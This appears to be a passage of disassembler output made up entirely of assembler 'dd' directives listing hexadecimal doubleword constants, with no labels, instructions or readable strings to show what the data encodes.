		dd 18FC14D3h, 253D886Ah, 0C77DB40Bh, 90B0C44h, 26814h
		dd 1A2DEA38h, 928B29Eh,	8B48BCD4h, 9C7B9085h, 88B36398h
		dd 0A50F0204h, 0C1D600E8h, 9662DF20h, 0D7091B58h, 9044C414h
		dd 347E6Dh, 0FA04583h, 41FC85Eh, 79B45B12h, 65D3201Eh
		dd 0D00B4F2h, 8A566237h, 0BC02C4F3h, 4231684Ah,	254E470h
		dd 0B8FB3465h, 30D6F561h, 0D29E1CC3h, 60BC5C7Eh, 0BABFCB91h
		dd 2513631Eh, 0A8FEC04Dh, 3FD001FFh, 0F7A11E3Bh, 5041E614h
		dd 0AAE810F4h, 0E9CE017Bh, 6A244B65h, 2859C69Ch, 54A8B400h
		dd 0ADF12Ch, 0FE95862Bh, 9083C614h, 631A4100h, 72CE29AEh
		dd 12C89085h, 14D84A5h
		dd 6A895BF1h, 0F00D3B8Bh, 203E71F7h, 0D4CA5E90h, 0E8913A00h
		dd 0F008032Fh, 2C9D58CEh, 0B940C128h, 47D007D4h, 0FC5A9015h
		dd 2600AA3Eh, 6041803Ch, 1FDFF57Dh, 8181D444h, 0A027BE65h
		dd 8233BE3h, 59C9D815h,	21235A1Bh, 0D4FB8680h, 87090534h
		dd 1017D2A7h, 0BDF5BDACh, 289F2411h, 0A181460h,	422609FCh
		dd 0D390C878h, 9BED114Dh, 82F100D6h, 0B819410Eh, 46170B87h
		dd 1044F5BEh, 76A20C04h, 68B26BFEh, 26C7117h, 8625B1B6h
		dd 0D28EA481h, 8AE06C02h, 9287A0FBh, 7A20CF53h,	9F2CCB6Ch
		dd 0C2AFC010h, 805FDF01h, 84402AD9h, 56BB4880h,	0B5A5F0D4h
		dd 0E474FD25h, 0EBC9F8B8h, 83EFF8h, 80C5ED11h, 0F0F83C91h
		dd 0A80EA58h, 6C9A902Ah, 0AA8D5300h, 2E788D8h, 0EB6029Eh
		dd 241628Ah, 2C3392h, 0A647AEB9h, 0DA7BC9h, 44A3D008h
		dd 428A9E69h, 49E74614h, 0FFCF01A8h, 6578870Dh,	0F7071E2h
		dd 92C21FF3h, 6C40EA74h, 0B42D4BB0h, 5E89008h, 2B0C006Fh
		dd 0AE036CFAh, 35E47E2Eh, 0F5683D03h, 0A297BE0Bh, 0E904654h
		dd 0A13A1FF2h, 4F09B987h, 2455C4E1h, 64DA20B1h,	6CD0412Ch
		dd 0F350B0ADh, 173075D4h, 88F07CEAh, 0F2384174h, 0F9780766h
		dd 0FAD26F71h, 40205E61h, 0C72F49FEh, 2699200h,	825EB072h
		dd 2ACD3F26h, 0ACB32E94h, 1E2C3EDEh, 0E657000Bh, 0CB34D307h
		dd 0FD025C03h, 0F4922A2Ch, 21AA58C2h, 0BCDC7D9Ch, 8C84F69h
		dd 0EEEB0049h, 743715CAh, 5C096730h, 0F253F5B8h, 40E09458h
		dd 0D6999704h, 132F2C03h, 0F83D6F21h, 0F766E4DEh, 0B66A49E0h
		dd 520A4A0h, 80AD1206h,	15456B58h, 24FD0807h, 1DC36A5Bh
		dd 0FC615BEFh, 0E06F007Bh, 6D0C334h, 4C7402D3h,	2CC8DC7Ch
		dd 214D7E0h, 7942AC16h,	3500F0E3h, 0FF320DFDh, 0EFA217Ah
		dd 0B8A8240Fh, 15C01F70h, 4A54460Ch, 64D70123h,	0FA149E35h
		dd 78043F44h, 0CC827E90h, 1F001410h, 0FB84894Bh, 142356F7h
		dd 3CF85E42h, 7DE96605h, 1EF40091h, 2E424437h, 48883A5Bh
		dd 50D31DF6h, 0FA9605h,	4B42F2F6h, 2918A53Ch, 962A8F26h
		dd 22189824h, 345B8761h, 2EA8C840h, 2C170Bh, 0B8C56158h
		dd 9BEFC1BEh, 0D78F7200h, 0F67B31B2h, 22FC019Eh, 0F403B784h
		dd 3EF71094h, 0F87702B1h, 261391D4h, 0CA0E587Eh, 6A9DA25Ch
		dd 30A0A18Dh, 44397AF6h, 0B8221055h, 48336B80h,	252D9743h
		dd 88401029h, 5EE60106h, 8F1B3407h, 0EC51F215h,	0A9272380h
		dd 0BD66525h, 0AA85E00Fh, 0C6E97C18h, 0EC084600h, 0E5689AF0h
		dd 2CECE535h, 0F2A40236h, 634D23F8h, 0B7C5A0C0h, 0FFD31113h
		dd 882FC94h, 0D82C40E4h, 0F27D00B1h, 3E4DD2BBh,	0C12C57FDh
		dd 0D12DCBAh, 89E11808h, 6C004495h, 7B47C60Bh, 4E8FB53h
		dd 0FED36006h, 0BEA0D8BCh, 511EA7A0h, 0CECB0B10h, 0C50589Ch
		dd 5C348B9Bh, 0CC16EA31h, 2CB0BCA8h, 2C940EBBh,	0CF3E67D1h
		dd 6283839Fh, 0EC8C97F5h, 699380F0h, 3F353786h,	180D5A3h
		dd 38240D73h, 0DE3E0CAEh, 0C820A5C2h, 9EBAC6Ch,	66AFF6D5h
		dd 0F09C4C80h, 0BD12534Dh, 244842A8h, 6188ACF1h, 0DCE1C758h
		dd 0C9FE67B8h, 0D800697Eh, 34D11F20h, 2D9D366Ah, 0D499EF39h
		dd 0E05C6DA9h, 0D695A9h, 0DDC2D182h, 0D54EE976h, 9916B800h
		dd 0B478962Fh, 705D0013h, 0D1D72671h, 250029BBh, 0F4742E09h
		dd 0FE10C238h, 29AB6FDEh, 5A3B4980h, 87F80333h,	0C2214100h
		dd 51FA5C11h, 0C099980Bh, 7674AB28h, 0F000B97Ch, 0E8617563h
		dd 77C8BC32h, 1320CE95h, 59ADD566h, 7CDCDE06h, 111F91h
		dd 31693321h, 0F9860BE5h, 1A4B8701h, 60805BDEh,	5CE8DCCCh
		dd 760042E1h, 0BECE5989h, 0E62C65CFh, 8400AA1Dh, 0D5AB77A3h
		dd 718B7B44h, 4E99C266h, 114083DCh, 0A9289813h,	720FB9C7h
		dd 206E822Eh, 0DD08A3D3h, 647E4F1h, 91A5E5CFh, 0A70099C9h
		dd 7D234397h, 73C46EAh,	25FFE567h, 63DDA045h, 4400718Ch
		dd 0A80C7568h, 0C01465B6h, 0EB5A8979h, 0A507D45Bh, 2E96D119h
		dd 0F3F116D0h, 39CA66Bh, 0C0FF561h, 0AFA05097h,	0A31A3A76h
		dd 0C0216362h, 0B6E889h, 0E9DFC410h, 75D03D22h,	9805C2EAh
		dd 76F00C87h, 96E6D840h, 3A43A9A6h, 88BEDB12h, 0C05B8A15h
		dd 88D4AD19h, 0F117F833h, 84FDC219h, 80F06BB8h,	7DA4A004h
		dd 64A0D0A7h, 6E23EC02h, 0C7635A82h, 6917400Ah,	791698D5h
		dd 0F770F102h, 9398A0AFh, 0FCA6B233h, 97E05B0h,	14CDD2h
		dd 0E1900B50h, 501D736h, 4BE977B4h, 81F05E39h, 271530CCh
		dd 0E523D129h, 2E81B00h, 1FC0F267h, 4D5E008Dh, 0B2AD378Ch
		dd 78E847D3h, 36791E67h, 763B7210h, 12C2F2BAh, 0DA092Bh
		dd 0FF90CEC5h, 0D7540C32h, 0E10C5D84h, 117294ACh, 502700C0h
		dd 52E851B6h, 0FA0044A8h, 0F73B9DFh, 600E0B70h,	267D3923h
		dd 91008992h, 312B1682h, 40791Eh, 0E73BB41Bh, 79659DBh
		dd 0B179C01h, 0F315F62h, 0C3F1A450h, 6E9D18A9h,	1FF57974h
		dd 544D7E00h, 7ADCF9A7h, 6BB60CD4h, 2F20734Ch, 101D81E0h
		dd 8200B79Fh, 0F1BFE764h, 281A00AFh, 16A715Fh, 0ED2A6FD9h
		dd 0CB1484C6h, 474DD0Ch, 14F6CE10h, 8E78005Eh, 642FAC63h
		dd 284AC100h, 0E7DF3E0h, 0C00C0973h, 3C1065B0h,	4B0314C2h
		dd 4E5FFB12h, 653F8AFh,	9588015Bh, 0BF428027h, 7FFAD01Ah
		dd 80E47848h, 452B0A4Ah, 0A1253F2Dh, 0FEB1F680h, 335C1906h
		dd 3E09000h, 0BED1CD53h, 77890CB7h, 0C8A1736Bh,	9C23273Bh
		dd 7F808F1Dh, 8CAC6D86h, 0C021DC5Ch, 0DDD93DAFh, 0E1381B8Eh
		dd 0A84224A7h, 9098023Ch, 83B4E415h, 0E023A6B4h, 1C236C5h
		dd 58497BBBh, 2030ABFBh, 12FC2460h, 70029312h, 0EE1D7C13h
		dd 8152F4CEh, 3DD8462Eh, 0E60F2881h, 8E6A6CF0h,	80B0ED81h
		dd 23AF625Ch, 261B0093h, 5FE8D5AAh, 9E50467Ch, 98412F8h
		dd 7DC099DDh, 12117C8Fh, 7C0A4B45h, 780CC451h, 4319C5h
		dd 250147C2h, 0AD68BD8Bh, 0A8F6D6E2h, 5D74B009h, 1C0C1873h
		dd 7A0A3A76h, 0C187E600h, 55F7D515h, 6C658A00h,	0C5B8E050h
		dd 666F00BDh, 169E36B1h, 0F41C0D96h, 0BF404811h, 910B8CF8h
		dd 4C7EF010h, 7500AC76h, 96D0AB02h, 8F50B634h, 80F0B2ACh
		dd 6D8C3050h, 2D00147Ch, 0BB40B869h, 0A2918622h, 0E3A4C160h
		dd 12EB90D4h, 4E81627h,	43B0DA4Ch, 3F568BACh, 618502C1h
		dd 0CB88F8Dh, 4B601EC0h, 2B34DE07h, 998003A2h, 1619D63Dh
		dd 684ACh, 97324650h, 0DC14D33Ch, 12F04F40h, 0A830E72Fh
		dd 1EBEFAA5h, 80021704h, 0D06F46D5h, 544015F3h,	9FF52C5Dh
		dd 25803A09h, 0BD859B87h, 9E12E193h, 44256ECDh,	64C5C200h
		dd 4C48452h, 5588533Eh,	6104886Eh, 0D1FB701h, 0A014060h
		dd 35121BC4h, 80B8FF2Bh, 6AA4AEB6h, 0E05CB433h,	0F1180916h
		dd 0D0041DFBh, 3025D6h,	1982CEAh, 86D3974Eh, 0C81F9F31h
		dd 800CDC09h, 3873182Fh, 485F885Ah, 0C5802C99h,	15D87BBFh
		dd 9521C058h, 731B8041h, 0F7167F00h, 0CD223893h, 0E6780085h
		dd 2672B24Dh, 0DF00AA76h, 845FA006h, 3E8FEA4h, 1DF5B55Eh
		dd 35E896C8h, 0A33CE0B3h, 40A96E91h, 0C5BF1F53h, 0B2EA0065h
		dd 82F001CCh, 38B8C0C7h, 4D0FEE06h, 7311D90h, 87E3CC9Ah
		dd 88C9101Ah, 93003857h, 1304E0Ah, 98219761h, 0ACAD4460h
		dd 0E0FEBC00h, 0BA6A5996h, 17801477h, 69809490h, 39B86C45h
		dd 0F212EA02h, 0A26E6B46h, 0C02FCDA8h, 0E8E9FDDEh, 0EC90DCh
		dd 0AA9F4B48h, 0BA6D15Ah
		dd 82C77D3Eh, 0ED801578h, 0F4C490h, 0D9460137h,	0EE768E1Dh
		dd 42911600h, 0F696BE8Fh, 1B131E97h, 4948C0B3h,	0FBFDA877h
		dd 0EC916F7Dh, 0B26E560Fh, 7B4A7040h, 1D82934Bh, 0C0F22DCFh
		dd 6E4139D3h, 60BDAF23h, 778002F2h, 18654CA6h, 335D080h
		dd 10980DD4h, 9526EE12h, 0E84BCC00h, 60502B15h,	8FA610DEh
		dd 5D1D478Ah, 0FC4157C0h, 1863E29Bh, 0A6EF4980h, 0D854EC8h
		dd 92DA8700h, 47831931h, 7567015Ch, 0AB8413C7h,	9231BB80h
		dd 540008A4h, 587C5EFEh, 0D980E90Eh, 0AF24796h,	5F036517h
		dd 0F63859CAh, 6E3FB0A4h, 60DB0C77h, 5549716Bh,	5A67F300h
		dd 0ADCFDD1Bh, 187EE23Ah, 516C15ECh, 6A091FEDh,	472CC3Dh
		dd 0A8406D68h, 19AF1755h, 99C0637Ch, 0F245B502h, 1440016Bh
		dd 0A1203DC2h, 0F164DD2Eh, 0F4586178h, 0FF26BDD1h, 701D801h
		dd 736EE2BCh, 0C0DD1811h, 0C3771C86h, 0B95B2E18h, 0C47C0DE8h
		dd 88495E09h, 8C1326A4h, 7C05760Eh, 80C86360h, 6F950090h
		dd 6E914053h, 3A00BC75h, 77129474h, 0E8ACE081h,	3F3F6CAFh
		dd 890086D1h, 32D8AE65h, 3BB6DD92h, 744C8DFEh, 1BCF440Ch
		dd 1D2408B0h, 4004E022h, 88A3F3DEh, 3A882000h, 49E96B95h
		dd 829F2B00h, 66E6F8F9h, 5D9104A0h, 887886E5h, 401E7C60h
		dd 0ADACF882h, 0EBD8BF00h, 0F1CE6Bh, 0CB09A3B0h, 904F26B9h
		dd 0F26FCF0Dh, 106039ACh, 0F09A01DDh, 4805B5B6h, 0FA4020A4h
		dd 0DA38A301h, 0D1A933Ch, 0B2D4B185h, 619CC86Eh, 0CF712F1Eh
		dd 1567D8Bh, 0B3E17E78h, 0BE058C41h, 4C7278EDh,	93499E07h
		dd 0EA8960A7h, 3CB80116h, 6BCEE113h, 8B96AC20h,	95717235h
		dd 0C90131D8h, 627CD802h, 4980B178h, 8DA24DB0h,	0A6004369h
		dd 7CD07968h, 0A8084A5Fh, 91393D8h, 764445DEh, 9000E444h
		dd 2C4D1B4Ah, 0E17A06Ch, 91F18AF0h, 90576B44h, 0D61697DCh
		dd 0ED37C406h, 0F85196C9h, 8C8858F3h, 3C90007Fh, 0D768C223h
		dd 0E3E69F0h, 891D3C53h, 0BB41709h, 0CD1C0788h,	918AA290h
		dd 81D6B3h, 7D743FC5h, 0E900D0EBh, 149C996Ah, 490E7BABh
		dd 0EB581C55h, 27C5A700h, 1BFE7AF0h, 987420E5h,	80F06248h
		dd 281FAA4Eh, 0E0B40B50h, 3400542Fh, 8841FBD0h,	9BF6FE0Ah
		dd 0E705D8C3h, 0C492456Ch, 409411C7h, 2597D678h, 2ABE3400h
		dd 68E3762Eh, 9128B8FDh, 46090700h, 7B102E1h, 3A62EF60h
		dd 0FF972B02h, 0C40EB8FCh, 0B7A60064h, 4CD195A2h, 0E7009E82h
		dd 0E3A0562Eh, 0B114E01Ah, 0EBA2005Ch, 8886C29Ah, 1E519D3Ah
		dd 0ACE6F0E3h, 0F2704302h, 8A5485C3h, 0C87FCCCh, 74EA0C58h
		dd 995C1649h, 48685948h, 7E5A0544h, 2489F670h, 60C79942h
		dd 1FA66B98h, 0B9D1D5h,	7D5A2AB1h, 0D4466E0h, 512F0EE2h
		dd 91A08965h, 0A3DC80Bh, 5EEC3CB8h, 29153230h, 167AFFh
		dd 112F8F95h, 902A3098h, 62018CB1h, 0F2A05F58h,	0C3FED4h
		dd 0FD168979h, 0DA7CFA2Ah, 0ED933A05h, 0E805CE33h, 57C02E41h
		dd 3011AC66h, 98D95915h, 1200997Ah, 72C1DCEBh, 9FFB474h
		dd 0F37EE62Fh, 0FED2F80h, 0CE09097Dh, 80FAA7D9h, 0D08D0380h
		dd 30E5ECBBh, 0D5B16566h, 0C8005368h, 18020338h, 192D141h
		dd 0AAEA1D7Bh, 647056C1h, 3203A228h, 0E96FF353h, 0DBD106AEh
		dd 992215DCh, 66493E09h, 0AA7B8067h, 99A0CAh, 92E6D986h
		dd 8C39939Bh, 22B88B48h, 26FA0F1Ch, 0B60689Eh, 8DA0A278h
		dd 11BCC300h, 0CA5A8E2Bh, 142990FEh, 0E4574C03h, 0F0885100h
		dd 0ABA5F840h, 8CA24905h, 0F0CC530Ch, 3307E9Dh,	0F5391BB6h
		dd 3E141DD8h, 2E54F40Ch, 8172010h, 0EEF51831h, 1617E60h
		dd 1FBFED62h, 39F46FF6h, 16945058h, 109A4A25h, 746CB0h
		dd 0A1C2DEC9h, 8D521D50h, 610D5800h, 0C5720671h, 0E4AD5069h
		dd 50735C60h, 552EE207h, 1BF0412Fh, 2040E29Fh, 98060A24h
		dd 0E4A851E8h, 63682930h, 67AF00D0h, 62103039h,	0A0955316h
		dd 0ECD05900h, 2880DAEAh, 39D0E4F1h, 76132273h,	3C1E7Bh
		dd 0A3D80851h, 904C3D0h, 904E94CCh, 72F9B4C8h, 74C035Bh
		dd 3BF4B36Ah, 0AB8C43D0h, 5FECBC06h, 9810A2Bh, 6796DDF3h
		dd 0B1E05h, 4E542384h, 0BC58A9F6h, 5EFF0190h, 11024184h
		dd 5F71C8FFh, 14889148h, 0AC0AF680h, 0A4D06F8Fh, 0AB06008h
		dd 1106C579h, 39E8E95h,	81F1E50h, 4E41B066h, 0E813BF8Fh
		dd 0F8B09h, 0ACD86444h,	9E682B40h, 430F845Fh, 6148088Bh
		dd 794537A9h, 7B1F90BCh, 87C8C5A8h, 4DC5359h, 80E61A3Ch
		dd 9F5F5124h, 0E14C50E8h, 6C031420h, 0CBF60754h, 4A270711h
		dd 0AF677DD1h, 0D7CC9D31h, 0EDCA0C8h, 0A981E566h, 3A89B630h
		dd 0F3E5D49Bh, 63F44304h, 3CA591ACh, 5C189744h,	0A47B30E8h
		dd 0FF8E00C8h, 0C0DB36Dh, 0AF5C7F18h, 672227Ch,	14DB04DAh
		dd 6000115Bh, 0F3FF3B7Ch, 0B856954Dh, 5573005Bh, 6FCCDD88h
		dd 0A2FC04AFh, 37D9A800h, 5A45E293h, 98463ED6h,	0AC710C04h
		dd 16CF292h, 80A353EEh,	8C735484h, 7DA04000h, 3D5FF0F7h
		dd 0C6ACBE03h, 0C1E29E95h, 44F20CC1h, 0FFCB9A8h, 5580E44Ah
		dd 203AB3C0h, 0C217C103h, 0F945436Ch, 2992B2DFh, 69302063h
		dd 0EBE4833Fh, 0FA07CE00h, 0C34B620h, 0A4E9FE7Fh, 54755898h
		dd 0F525E002h, 64E25FAEh, 0F4F0E840h, 2876F09h,	935400F2h
		dd 0E81676E5h, 7B212E9Ah, 3C0A4108h, 82C76FE1h,	4410F775h
		dd 0A4897484h, 0C53A420h, 55478811h, 3CB9F860h,	60A4598Eh
		dd 0F16F33EBh, 68B5397Eh, 0F30D830Fh, 0DF66F20Fh, 530359AAh
		dd 0AF78D677h, 0C156E22Fh, 95157254h, 0C8D0149Ch, 971EEAC0h
		dd 4A00485Eh, 0C225BDC3h, 0A157B9ADh, 1E0820B4h, 2DC688h
		dd 0BDE15386h, 63370DFDh, 8D5BB900h, 0FE4F0B8Ah, 5F1100CEh
		dd 19D8742Eh, 7026332Ch, 0DE4468D5h, 630EBCC1h,	0E100806Dh
		dd 90DF049h, 2A98C9FFh,	7287EC00h, 27ED48B6h, 0AF70070Ah
		dd 308DDCF0h, 7DA39C08h, 1508EC93h, 4A88805Bh, 5178DB23h
		dd 0BB6AE04h, 808A77CBh, 53081600h, 2C5F7DFFh, 8024CCB9h
		dd 0D016A917h, 85F34890h, 34A3002Dh, 0A70C41C1h, 0DD50E076h
		dd 800053FCh, 369EAB2Fh, 0E963D45h, 0C17EB152h,	0AC98884Bh
		dd 7B008EC2h, 92D7E2FBh, 13BF2B0Fh, 204A5F8Ah, 0F3149634h
		dd 40AEB900h, 0A8D9E07Ch, 0CDA4F87h, 98087470h,	14027C9Eh
		dd 58E680C9h, 0E80101F4h, 6DCDDE61h, 80F721BAh,	6BD8B3B9h
		dd 3146235h, 1A843C54h,	9FDB942Ch, 23DC0C89h, 1653CF0h
		dd 0B0D166A8h, 90405170h, 0D0455E03h, 0EF248CC1h, 0AC784204h
		dd 0A2C09825h, 3931F4Eh, 0ABCAE35Eh, 0BF907295h, 5DF61113h
		dd 780BC22Ch, 8DA0700h,	3BE9887Ch, 970B5469h, 0B000DC72h
		dd 0E3788EFAh, 3840635Eh, 0BB7C4CD8h, 0DE68009Dh, 0F3F00A33h
		dd 180980D2h, 486E76E0h, 7C61D10h, 0A0E2ACFFh, 8292D02Ah
		dd 7D48637Fh, 20EBCF58h, 7A9F5067h, 0F4360E8Dh,	0A49465E7h
		dd 81A52A01h, 30B9822Dh, 81105ACh, 0BF071263h, 5FB37C35h
		dd 0A12E0980h, 5C1266E7h, 6CC88C0Ch, 4374D6h, 0D550A5A2h
		dd 83B39526h, 130442E2h, 0D973EFA7h, 0B6508Ch, 2746EDC3h
		dd 0E82BA6C6h, 0B8024E0Fh, 0FA8DA0A8h, 0A7E7C5Eh, 0DE55DB8Ch
		dd 0F1EC0E90h, 222AA867h, 7CF11BA7h, 71A39500h,	3D602E4Ch
		dd 0DD802B61h, 2A6E7C16h, 0FC7651F3h, 0D5C0FFF1h, 6CF5CE46h
		dd 6FC980B4h, 0AF6292Ch, 0FE84D95Eh, 143312D4h,	10C02498h
		dd 9365143h, 0A2B1D600h
		dd 8F55B2A3h, 725B051Fh, 0C0107DF6h, 2B62C7F0h,	94637628h
		dd 0F5805906h, 81EC9Fh,	0CBBA5A5Eh, 5F88DDF1h, 0E18DFF16h
		dd 205DFCC2h, 0B62806B3h, 0A640BC00h, 3724F24Dh, 44D90384h
		dd 1BAE31C9h, 0B1464004h, 80839E15h, 4147C07Dh,	2C312693h
		dd 3721108h, 0DA04E0BEh, 442D8A5Fh, 0C4F10464h,	0C86EA592h
		dd 4807531Ch, 0C60B61BBh, 77D6E230h, 17D81B28h,	3907CCA3h
		dd 7AD14E7Fh, 4BB01FB7h, 132C685Bh, 1461A213h, 0C83E474h
		dd 0D10973EEh, 6A95AC0Eh, 0F9E84010h, 7874446Bh, 690BE002h
		dd 819C8F87h, 6EDB30BCh, 0C40EF072h, 0B9C00A20h, 4BCC2DAh
		dd 0FE646B00h, 9ECB3086h, 5DD734Ah, 0C12CCEBBh,	1D4CC212h
		dd 48006325h, 3EE0389Fh, 0E9BC0081h, 0B84FB13Bh, 2C98DD14h
		dd 0D8562A0Ah, 440E1C91h, 0B72F4036h, 0FADF0h, 75176806h
		dd 0E1D8C529h, 24904B4Ch, 53002863h, 76D361E5h,	205A4ADBh
		dd 0F56C6080h, 89E4C600h, 0F9CE6145h, 0DB0C117Fh, 74B84876h
		dd 0D359388h, 578EAC49h, 0C4EC7CF9h, 0CCF24D45h, 79B24201h
		dd 30DB2534h, 75006E58h, 0EAD505DDh, 3E554ABAh,	1E183C47h
		dd 48462057h, 2015A127h, 0DA470B5Ch, 406202E2h,	0A9A07A59h
		dd 80DC4100h, 60DB3CECh, 3169D719h, 80542C7Dh, 0FAA337AFh
		dd 83DB03E2h, 4951189Ah, 47067898h, 4D135AE6h, 4C30CB13h
		dd 1D8BA962h, 0A5DBF15Bh, 5527E4A0h, 47E23D2Eh,	0ADF2971Fh
		dd 80E00840h, 30CE0B20h, 0F1414B6Bh, 0E25D35Eh,	5B97E9Ah
		dd 4C5D8h, 755550BAh, 0AC293A2Ah, 0ED9E9C8Dh, 0C842FE22h
		dd 0DB84AE10h, 10A915D0h, 0B829B500h, 0A7D1637Ah, 95322B03h
		dd 0F9943740h, 0AC25BC7Bh, 20002844h, 0E60E96D1h, 7800BC4h
		dd 0A091475Eh, 9C402B6Eh, 1AF85E9h, 0FEB1004Fh,	73AE7767h
		dd 5309C039h, 8198166Ch, 6F6A4604h, 40589878h, 369C25C0h
		dd 0C00022E2h, 7376F3C2h, 1148061Bh, 1D5A0EA3h,	29006EE9h
		dd 0C223AEC1h, 0CF6A0B8Ah, 0E0C8917Ch, 0F106E12Fh, 150BD0D9h
		dd 746EF899h, 7B57004Fh, 0D2D19C0h, 0A424DEDDh,	182F3C09h
		dd 916CF3DCh, 0F226C0h,	80BA32Bh, 0FF00A93Eh, 0FA8EEB29h
		dd 0E7F3081h, 8D8B2CC0h, 68460BC9h, 0B9F9C502h,	0C0E65740h
		dd 48E01CA4h, 72222CCBh, 8D05DB1Fh, 0FFBC80F1h,	0D6050078h
		dd 80BEEEA9h, 0C5EC823Eh, 0C42CF2E6h, 3A019867h, 0C87A7E7h
		dd 1C24C4EAh, 0C05C2E19h, 0A4C4CF04h, 415A845Fh, 0F13F027h
		dd 0FC70A70Ch, 9CE9702Bh, 0EC44A57Ch, 24F6FB38h, 7E01F7F9h
		dd 0B65E6A6Fh, 8385F86Ch, 675180E7h, 95091687h,	0C40EC290h
		dd 0F4C10010h, 0FF92782Fh, 0BE00421Ah, 1CE74541h, 0C3553Bh
		dd 480BA846h, 5BE97740h, 1088AD13h, 0F0888C13h,	190A3DB3h
		dd 2C50C0ACh, 0F4A4ACh,	76137A7Fh, 0B9C0CA78h, 0B3B8CBA1h
		dd 2E360041h, 326DC99h,	8CA16305h, 80C01477h, 1D0A6BA1h
		dd 0FFF80DDh, 3017502Bh, 81C20308h, 17A72800h, 0A9FBCA74h
		dd 0D8830730h, 0A348E3A8h, 47899DA6h, 8134687Bh, 0CF1E319Ch
		dd 61B1F8h, 90522365h, 8E27C4E2h, 74D7A90Fh, 62B5E477h
		dd 489088h, 20B2AEDEh, 9AF4931Bh, 0F937900Bh, 488C21EBh
		dd 0E4443C39h, 25F58A80h, 802CB97Dh, 56FBD8B4h,	0CA01CC19h
		dd 772E3E9Fh, 8A4333Ah,	0C0D300E8h, 827A7C0Ah, 250CED14h
		dd 768250A0h, 1BDAAF18h, 14524B28h, 0ACD68638h,	0E4FF7A0Bh
		dd 0F33D4803h, 0A44C93C0h, 980253F0h, 782E70A8h, 788D1F6h
		dd 3A489BDh, 8DC39918h,	0C20837D0h, 5079DE30h, 48874E8Ah
		dd 0D376EC02h, 0F988C0F9h, 0C80BBFF2h, 18628697h, 1DB7B534h
		dd 0E8A35E41h, 4F2A00F7h, 0F2045112h, 7807F816h, 8D8FE796h
		dd 70AA5A60h, 1DA604F1h, 0B90E5548h, 0DF5301C0h, 0FAB72ADCh
		dd 7FC462E5h, 35AF0F20h, 3AA1EC2Eh, 29B4579Dh, 9FA883F0h
		dd 118662h, 428A3356h, 982683E0h, 72487B09h, 2C801066h
		dd 6FF000CDh, 2B6CA027h, 0F32C5678h, 0B980BF67h, 9FAE8C7Bh
		dd 3CD02AE1h, 0C9980188h, 0C3A8776Bh, 9992E0B9h, 766C2160h
		dd 289C96BBh, 16CC3571h, 88593B05h, 0A700F2D0h,	4828E785h
		dd 46DD32Bh, 0FAFE092Eh, 40E0CDD8h, 0C20F747Bh,	49B66F00h
		dd 0F7E7ADFDh, 0A66230C6h, 7C12F258h, 6EB10D13h, 87E700D0h
		dd 2B8A0F2Dh, 61217AC5h, 897DEEF0h, 0E36230h, 0F3B07F40h
		dd 6ECE1275h, 0ECD0404Dh, 4019C379h, 0F7003B79h, 446DFECAh
		dd 25B0DB48h, 5C6B0E7Bh, 93EDA498h, 0A3014500h,	14AC0835h
		dd 0C8D9139Eh, 0C0CA80h, 0DAA208D4h, 702FB834h,	0BCD10B72h
		dd 24C4BF57h, 6D1F7900h, 3712458Bh, 0CD8E0B90h,	8A003C0Ah
		dd 4CD5BE3Eh, 93DAB500h, 25735A30h, 43A900DDh, 0DC681A64h
		dd 0C9C0586Eh, 0EDF7BD3Eh, 0F18E023Fh, 0E4342594h, 78017474h
		dd 0C490FE80h, 17D2C450h, 57E2002Bh, 0C7FF3609h, 880CDDA5h
		dd 51466EAAh, 209A3FB3h, 0E0913000h, 0AA52D5B4h, 93009C7Fh
		dd 0E6CB90C6h, 0B504D2Eh, 0A00D5343h, 0AD9F8200h, 0F10B64DAh
		dd 0C622C5h, 0BCF2DB76h, 50854C79h, 2E49878h, 74E3C47Dh
		dd 44E165CCh, 0F9A91007h, 47150083h, 0E0FE7E62h, 0A1481EEAh
		dd 65B7086Ch, 9DB28018h, 88C83FE1h, 7E892F00h, 8E5B385h
		dd 5571003Bh, 2B634D8Bh, 0DA17DC73h, 3C206C05h,	7A6D1Ah
		dd 0D5B820F3h, 99CDB92Dh, 0AC790700h, 8AEDBEF0h, 598D22ABh
		dd 2130F498h, 0C9CCE135h, 0ECB191h, 0BDA6063Fh,	0C0EB59D8h
		dd 0D150CAD4h, 175080F4h, 0B928CFEFh, 350EFCE7h, 2F33EDFh
		dd 61547C5Eh, 0C014C3FCh, 3073E506h, 5C7AA01h, 0A5D389FDh
		dd 655BECh, 0D6D002F1h,	3B2E7EDEh, 0B16EFA07h, 0CC80DDD1h
		dd 0D40C62h, 9E8130A3h,	2CC47549h, 3FF80206h, 38CC86h
		dd 35F737B8h, 0B70BD767h, 562E4600h, 3CECFAD5h,	4BEA0BFEh
		dd 0B2074823h, 668F3E86h, 0CE39B5C3h, 436B7900h, 3BD51C4Ch
		dd 0B118182Eh, 8DCC18E8h, 101954Ch, 2851D82Dh, 0B3D4A222h
		dd 293C0071h, 7FEE39D3h, 31C0EB4Ah, 0D162873Eh,	0F13F30E6h
		dd 80EFB3A1h, 53A39600h, 7F07AD50h, 0D4AB006Fh,	0C278145Bh
		dd 817BF0AFh, 49D55137h, 373E7586h, 5510FA67h, 8E5844B7h
		dd 0C980AAEBh, 1BB0A1DAh, 29886AD3h, 0C23C008Dh, 0BA91C751h
		dd 0A00F3101h, 0A20C8D02h, 3D2F39E4h, 1E81E9A1h, 879B4FF1h
		dd 99419CF5h, 2D492507h, 0BF106DA7h, 3EB9301h, 18A4B1CBh
		dd 0C6AA2E75h, 1420D0AEh, 21702F28h, 64899B03h,	0B0F07A22h
		dd 0B9DB7Dh, 74E733Eh, 0E72547FEh, 0A90CCD71h, 71C363D3h
		dd 1E0175B8h, 0C17FB53Fh, 0B4337BA7h, 0C28457EDh, 65402A16h
		dd 0BB03BA4Ch, 0F388D31h, 646C003h, 53E7B56h, 39F95F9Dh
		dd 0A19043C7h, 97B9705Eh, 0A271E412h, 0A7007773h, 0AFB85109h
		dd 3E6BDC0h, 975664A4h,	3900DF36h, 32F16717h, 249826Ch
		dd 0C4F343CCh, 0CC90587Fh, 360401E9h, 7D76E802h, 0FA260F1Fh
		dd 119C4706h, 51D23930h, 0CAFFFDh, 12579910h, 4F3A911Bh
		dd 4009FE8h, 550F2775h,	60B15B3Fh, 0C09161E3h, 0E8009CC1h
		dd 84266BC2h, 501E1BEEh, 7DB69447h, 547F153Ah, 7B0CC0CFh
		dd 0CA79983Eh, 0A0326000h, 486ABD08h, 0EAB4309Fh, 4C988959h
		dd 37E80F00h, 8C728345h, 3DBE70D1h, 0D6026BB8h,	0AB524CA4h
		dd 4EC0F88Fh, 0F6C9512Ah, 0BB0E0503h, 0D750B8EEh, 0B1CE2880h
